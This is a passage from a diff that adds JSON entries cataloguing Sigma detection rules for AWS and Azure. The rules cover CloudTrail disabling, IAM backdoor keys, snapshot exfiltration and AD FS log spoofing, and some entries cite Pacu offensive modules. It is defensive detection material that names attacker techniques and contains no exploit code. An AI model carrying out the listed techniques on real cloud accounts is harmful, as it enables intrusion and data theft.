"tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2021/09/23", + "filename": "aws_attached_malicious_lambda_layer.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects disabling, deleting and updating of a Trail", + "uuid": "4db60cc0-36fb-42b7-9b58-a5b53019fb74", + "value": "AWS CloudTrail Important Change", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_cloudtrail_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/01/21", + "filename": "aws_cloudtrail_disable_logging.yml", + "author": "vitaliy0x1", + "level": "medium", + "falsepositive": [ + "Valid change in a Trail" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS Config Service disabling", + "uuid": "07330162-dba1-4746-8121-a9647d49d297", + "value": "AWS Config Disabling Channel/Recorder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_config_disable_recording.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/01/21", + "filename": "aws_config_disable_recording.yml", + "author": "vitaliy0x1", + "level": "high", + "falsepositive": [ + "Valid change in AWS Config Service" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", + "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223", + "value": "AWS EC2 Disable EBS Encryption", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_disable_encryption.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486", + "attack.t1565" + ], + "creation_date": "2021/06/29", + "filename": "aws_ec2_disable_encryption.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "System Administrator Activities", + "DEV, UAT, SAT environment. You should apply this rule with PROD account only." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", + "uuid": "26ff4080-194e-47e7-9889-ef7602efed0c", + "value": "AWS EC2 Download Userdata", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__download_userdata/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_download_userdata.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/11", + "filename": "aws_ec2_download_userdata.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Assets management software like device42" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", + "uuid": "1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df", + "value": "AWS EC2 Startup Shell Script Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_startup_script_change.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.004" + ], + "creation_date": "2020/02/12", + "filename": "aws_ec2_startup_script_change.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Valid changes to the startup script" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.", + "uuid": "54b9a76a-3c71-4673-b4b3-2edb4566ea7b", + "value": "AWS EC2 VM Export Failure", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ec2_vm_export_failure.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005", + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2020/04/16", + "filename": "aws_ec2_vm_export_failure.yml", + "author": "Diogo Braz", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an Elastic Container Service (ECS) Task Definition has been modified and run.\nThis can indicate an adversary adding a backdoor to establish persistence or escalate privileges.\nThis rule is based on examining events created upon execution of Rhino Security Lab's Pacu in a lab environment.\n", + "uuid": "b94bf91e-c2bf-4047-9c43-c6810f43baad", + "value": "AWS ECS Backdoor Task Definition", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py", + "https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html", + "https://attack.mitre.org/techniques/T1525", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_ecs_task_definition_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1525" + ], + "creation_date": "2022/06/07", + "filename": "aws_ecs_task_definition_backdoor.yml", + "author": "Darin Smith", + "level": "medium", + "falsepositive": [ + "Task Definition being modified to request credentials from the Task Metadata Service for valid reasons" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", + "uuid": "25cb1ba1-8a19-4a23-a198-d252664c8cef", + "value": "AWS EFS Fileshare Modified or Deleted", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/15", + "filename": "aws_efs_fileshare_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", + "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964", + "value": "AWS EFS Fileshare Mount Modified or Deleted", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_efs_fileshare_mount_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/15", + "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when an EKS cluster is created or deleted.", + "uuid": "33d50d03-20ec-4b74-a74e-1e65a38af1c0", + "value": "AWS EKS Cluster Created or Deleted", + "meta": { + "refs": [ + "https://any-api.com/amazonaws_com/eks/docs/API_Description", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_eks_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/08/16", + "filename": "aws_eks_cluster_created_or_deleted.yml", + "author": "Austin Songer", + "level": "low", + "falsepositive": [ + "EKS Cluster being created or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an ElastiCache security group has been created.", + "uuid": "4ae68615-866f-4304-b24b-ba048dfa5ca7", + "value": "AWS ElastiCache Security Group Created", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136", + "attack.t1136.003" + ], + "creation_date": "2021/07/24", + "filename": "aws_elasticache_security_group_created.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when an ElastiCache security group has been modified or deleted.", + "uuid": "7c797da2-9cf2-4523-ba64-33b06339f0cc", + "value": "AWS ElastiCache Security Group Modified or Deleted", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_elasticache_security_group_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/07/24", + "filename": "aws_elasticache_security_group_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.", + "uuid": "e9c14b23-47e2-4a8b-8a63-d36618e33d70", + "value": "Account Enumeration on AWS", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_enum_listing.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1592" + ], + "creation_date": "2020/11/21", + "filename": "aws_enum_listing.yml", + "author": "toffeebr33k", + "level": "low", + "falsepositive": [ + "AWS Config or other configuration scanning activities" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", + "uuid": "6e61ee20-ce00-4f8d-8aee-bedd8216f7e3", + "value": "AWS GuardDuty Important Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_guardduty_disruption.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/02/11", + "filename": "aws_guardduty_disruption.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Valid change in the GuardDuty (e.g. to ignore internal scanners)" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", + "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2", + "value": "AWS IAM Backdoor Users Keys", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_iam_backdoor_users_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2020/02/12", + "filename": "aws_iam_backdoor_users_keys.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", + "AWS API keys legitimate exchange workflows" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when an user creates or invokes a lambda function.", + "uuid": "d914951b-52c8-485f-875e-86abab710c0b", + "value": "AWS Lambda Function Created or Invoked", + "meta": { + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_lambda_function_created_or_invoked.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078" + ], + "creation_date": "2021/10/03", + "filename": "aws_lambda_function_created_or_invoked.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Lambda Function created or invoked may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects evade to Macie detection.", + "uuid": "91f6a16c-ef71-437a-99ac-0b070e3ad221", + "value": "AWS Macie Evasion", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/macie/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_macic_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/06", + "filename": "aws_macic_evasion.yml", + "author": "Sittikorn S", + "level": "medium", + "falsepositive": [ + "System or Network administrator behaviors" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects possible suspicious glue development endpoint activity.", + "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", + "value": "AWS Glue Development Endpoint Activity", + "meta": { + "refs": [ + "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", + "https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_passed_role_to_glue_development_endpoint.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2021/10/03", + "filename": "aws_passed_role_to_glue_development_endpoint.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the change of database master password. It may be a part of data exfiltration.", + "uuid": "8a63cdd4-6207-414a-85bc-7e032bd3c1a2", + "value": "AWS RDS Master Password Change", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_change_master_password.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/12", + "filename": "aws_rds_change_master_password.yml", + "author": "faloker", + "level": "medium", + "falsepositive": [ + "Benign changes to a db instance" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", + "uuid": "c3f265c7-ff03-4056-8ab2-d486227b4599", + "value": "Restore Public AWS RDS Instance", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_rds_public_db_restore.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1020" + ], + "creation_date": "2020/02/12", + "filename": "aws_rds_public_db_restore.yml", + "author": "faloker", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects AWS root account usage", + "uuid": "8ad1600d-e9dc-4251-b0ee-a65268f29add", + "value": "AWS Root Credentials", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_root_account_usage.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078.004" + ], + "creation_date": "2020/01/21", + "filename": "aws_root_account_usage.yml", + "author": "vitaliy0x1", + "level": "medium", + "falsepositive": [ + "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", + "uuid": "3940b5f1-3f46-44aa-b746-ebe615b879e0", + "value": "AWS Route 53 Domain Transfer Lock Disabled", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_lock_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ], + "creation_date": "2021/07/22", + "filename": "aws_route_53_domain_transferred_lock_disabled.yml", + "author": "Elastic, Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", + "uuid": "b056de1a-6e6e-4e40-a67e-97c9808cf41b", + "value": "AWS Route 53 Domain Transferred to Another Account", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_route_53_domain_transferred_to_another_account.yml" + ], + "tags": [ + "attack.persistence", + "attack.credential_access", + "attack.t1098" + ], + "creation_date": "2021/07/22", + "filename": "aws_route_53_domain_transferred_to_another_account.yml", + "author": "Elastic, Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects when a user tampers with S3 data management in Amazon Web Services.", + "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d", + "value": "AWS S3 Data Management Tampering", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1145/files", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_s3_data_management_tampering.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/07/24", + "filename": "aws_s3_data_management_tampering.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the modification of the findings on SecurityHub.", + "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157", + "value": "AWS SecurityHub Findings Evasion", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/cli/latest/reference/securityhub/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_securityhub_finding_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/06/28", + "filename": "aws_securityhub_finding_evasion.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "System or Network administrator behaviors", + "DEV, UAT, SAT environment. You should apply this rule with PROD environment only." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", + "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d", + "value": "AWS Snapshot Backup Exfiltration", + "meta": { + "refs": [ + "https://www.justice.gov/file/1080281/download", + "https://attack.mitre.org/techniques/T1537/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_snapshot_backup_exfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ], + "creation_date": "2021/05/17", + "filename": "aws_snapshot_backup_exfiltration.yml", + "author": "Darin Smith", + "level": "medium", + "falsepositive": [ + "Valid change to a snapshot's permissions" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", + "uuid": "905d389b-b853-46d0-9d3d-dea0d3a3cd49", + "value": "AWS STS AssumeRole Misuse", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1214", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_assumerole_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/07/24", + "filename": "aws_sts_assumerole_misuse.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", + "Automated processes that uses Terraform may lead to false positives." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", + "uuid": "b45ab1d2-712f-4f01-a751-df3826969807", + "value": "AWS STS GetSessionToken Misuse", + "meta": { + "refs": [ + "https://github.com/elastic/detection-rules/pull/1213", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_sts_getsessiontoken_misuse.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1548", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/07/24", + "filename": "aws_sts_getsessiontoken_misuse.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", + "uuid": "f43f5d2f-3f2a-4cc8-b1af-81fde7dbaf0e", + "value": "AWS Suspicious SAML Activity", + "meta": { + "refs": [ + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_susp_saml_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078", + "attack.lateral_movement", + "attack.t1548", + "attack.privilege_escalation", + "attack.t1550", + "attack.t1550.001" + ], + "creation_date": "2021/09/22", + "filename": "aws_susp_saml_activity.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Automated processes that uses Terraform may lead to false positives.", + "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "An attacker with the iam:UpdateLoginProfile permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.\nWith this alert, it is used to detect anyone is changing password on behalf of other users.\n", + "uuid": "055fb148-60f8-462d-ad16-26926ce050f1", + "value": "AWS User Login Profile Was Modified", + "meta": { + "refs": [ + "https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/aws_update_login_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2021/08/09", + "filename": "aws_update_login_profile.yml", + "author": "toffeebr33k", + "level": "high", + "falsepositive": [ + "Legit User Account Administration" + ], + "logsource.category": "No established category", + "logsource.product": "aws" + } + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n", + "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4", + "value": "Azure Active Directory Hybrid Health AD FS New Server", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_new_server.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578" + ], + "creation_date": "2021/08/26", + "filename": "azure_aadhybridhealth_adfs_new_server.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Legitimate AD FS servers added to an AAD Health AD FS service instance" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n", + "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff", + "value": "Azure Active Directory Hybrid Health AD FS Service Delete", + "meta": { + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aadhybridhealth_adfs_service_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1578.003" + ], + "creation_date": "2021/08/26", + "filename": "azure_aadhybridhealth_adfs_service_delete.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Legitimate AAD Health AD FS service instances being deleted in a tenant" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes where non approved actor removed CA Policy.", + "uuid": "26e7c5e2-6545-481e-b7e6-050143459635", + "value": "CA Policy Removed by Non Approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_removedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/19", + "filename": "azure_aad_secops_ca_policy_removedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare \"old\" vs \"new\" value.", + "uuid": "50a3c7aa-ec29-44a4-92c1-fce229eef6fc", + "value": "CA Policy Updated by Non Approved Actor", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_aad_secops_ca_policy_updatedby_bad_actor.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548" + ], + "creation_date": "2022/07/19", + "filename": "azure_aad_secops_ca_policy_updatedby_bad_actor.yml", + "author": "Corissa Koopmans, '@corissalea'", + "level": "medium", + "falsepositive": [ + "Misconfigured role permissions", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment." + ], + "logsource.category": "No 